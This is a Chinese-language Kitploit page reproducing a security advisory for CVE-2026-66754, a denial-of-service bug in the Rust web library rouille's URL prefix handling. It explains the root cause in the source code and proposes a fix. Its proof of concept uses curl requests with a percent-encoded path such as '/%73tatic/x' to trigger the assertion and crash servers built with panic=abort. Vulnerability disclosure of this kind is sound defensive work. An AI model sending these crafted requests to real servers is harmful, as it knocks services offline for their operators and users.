Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-66754-Remote-Denial-of-Service-via-Reachable-Assertion-in-URL-Prefix-Handling-rouille- — Security Advisory: Remote Denial of Service via Reachable Assertion in URL Prefix Handling (rouille) | Kitploit
工具/GitHubGitHub/theopaid/cve-2026-66754-remote-denial-of-service-via-reachable-assertion-in-url-prefix-handling-rouille-
Vulnerability AnalysisWeb SecurityPapers & ResearchLearning & Education
GitHubtheopaid/cve-2026-66754-remote-denial-of-service-via-reachable-assertion-in-url-prefix-handling-rouille-

CVE-2026-66754-Remote-Denial-of-Service-via-Reachable-Assertion-in-URL-Prefix-Handling-rouille-

Security Advisory: Remote Denial of Service via Reachable Assertion in URL Prefix Handling (rouille)

查看仓库

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
22天前尚未审核

安全通告:rouille 中 URL 前缀处理的可达断言导致远程拒绝服务

分配的 CVE 编号: CVE-2026-66754

摘要

Request::remove_prefix 检查的是百分号解码后的 URL,但断言的是原始 URL。如果一个请求的解码后路径以该前缀开头,但其原始路径并非如此,那么该请求会通过检查,却在断言处失败。只需对前缀中的一个字符进行百分号编码即可。

在默认构建下,panic 会被捕获并变成 500 响应。在启用 panic = "abort" 的构建中,没有任何机制可以捕获它,一次未认证的 GET 请求就会终止服务器进程。

受影响版本

仓库 URL:https://github.com/tomaka/rouille

最早受影响0.1.6(2016-09-22),该版本引入了 remove_prefix
最后受影响3.6.2(2023-04-24),当前最新版本
不受影响0.1.5 及更早版本,这些版本没有 remove_prefix
修复版本撰写本文时尚无修复版本

在该范围内的所有版本以及当前的 master 分支中,该函数均未改变。如果应用调用了 Request::remove_prefix,则会受到影响;这正是 rouille 文档中描述的用于在 URL 前缀下提供静态文件的模式(src/assets.rs 第 66 至 75 行,以及 src/lib.rs 第 804 至 811 行)。

严重性

CWE-617(可达断言),进而导致 CWE-248(未捕获异常)。

CVSS 4.0 基础评分 8.2(高危) CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

威胁模型

一个能够发送一个 GET 请求的远程、未认证客户端。无需任何凭据,也无需用户交互。

panic = "abort" 不是 Cargo 的默认配置,但它是为了获得更小的二进制文件和更低的开销而常见的发布配置文件选择。rouille 的可用性依赖栈展开机制,因为 Server::process 依赖 src/lib.rs 第 602 行的 panic::catch_unwind,将处理函数中的 panic 转换为 500 响应。该依赖关系并未记录在文档中。

根本原因

rouille/src/lib.rs,第 813 至 822 行:

root@kitploit:~
813      pub fn remove_prefix(&self, prefix: &str) -> Option<Request> {
814          if !self.url().starts_with(prefix) {
815              return None;
816          }
817  
818          // TODO: url-encoded characters in the prefix are not implemented
819          assert!(self.url.starts_with(prefix));
820          Some(Request {
821              method: self.method.clone(),
822              url: self.url[prefix.len()..].to_owned(),

第 814 行调用 self.url(),该方法会进行百分号解码。第 819 行断言的是原始字段 self.url,第 822 行也对该原始字段进行切片。只要路径在前缀部分包含百分号转义,这两种表示就会不一致:

同样的不一致也意味着 remove_prefix 永远不会路由合法地进行百分号编码的路径,因此正确性缺陷与可用性缺陷可以一并修复。

概念验证

步骤 1. 使用文档所述的前缀惯用法启动一个服务器。

root@kitploit:~
use rouille::Response;

fn main() {
    rouille::start_server("127.0.0.1:8003", |request| {
        if let Some(r) = request.remove_prefix("/static") {
            return rouille::match_assets(&r, ".");
        }
        Response::text("home")
    });
}

步骤 2. 发送一个良性请求,以及一个将 s 进行百分号编码的等价请求。--path-as-is 用于阻止 curl 对路径进行规范化。

root@kitploit:~
curl -sS -o /dev/null -w '%{http_code}\n' --path-as-is 'http://127.0.0.1:8003/static/x'
curl -sS -o /dev/null -w '%{http_code}\n' --path-as-is 'http://127.0.0.1:8003/%73tatic/x'

默认构建下的结果。第一个是对缺失文件的正常 404,第二个是被转换为 500 的 panic:

root@kitploit:~
404
500

stderr 上会输出以下内容:

root@kitploit:~
thread '<unnamed>' panicked at src/lib.rs:819:9:
assertion failed: self.url.starts_with(prefix)

步骤 3. 使用 abort-on-panic 重新构建同一程序,并重复第二个请求。

root@kitploit:~
[profile.release]
panic = "abort"
root@kitploit:~
cargo build --release
./target/release/<binary> &
curl -sS --path-as-is 'http://127.0.0.1:8003/%73tatic/x'

结果。进程以 SIGABRT(退出码 134)终止,服务器停止响应。一次请求,无需认证,可用性完全丧失。

影响

在启用 panic = "abort" 的构建中,单个未认证请求即可使服务器停止。在默认构建中,路径在前缀部分包含百分号转义的请求会返回 500 而不是被正常服务,因此对合法客户端而言,路由也是错误的。

请注意,该 panic 无法毒化 Server::process 在 catch_unwind 之外(src/lib.rs 第 643 和 649 行)unwrap 的互斥锁,因为 remove_prefix 只克隆 Arc,从不持有 guard。在启用栈展开的构建中,工作线程能够干净地恢复。

修复方案

在同一个表示上进行比较和切片。最简单的正确版本是比较并切片原始 URL:

root@kitploit:~
pub fn remove_prefix(&self, prefix: &str) -> Option<Request> {
    if !self.url.starts_with(prefix) {
        return None;
    }
    Some(Request {
        url: self.url[prefix.len()..].to_owned(),
        ..
    })
}

如果预期行为是解码后比较,则应先对 URL 解码一次,从解码后的字符串中剥离前缀,再对剩余部分重新编码,而不是对原始字段进行切片。

无论哪种方式,assert! 都应该去掉。库不应因攻击者可控的输入而中止进程。将 rouille 要求 panic = "unwind" 写入文档,或者消除对 catch_unwind 的正确性依赖,也会有所帮助。

下载工具
原始 URLurl() 解码后第 814 行第 819 行
/static/x/static/x通过通过
/%73tatic/x/static/x通过失败
/stati%63/x/static/x通过失败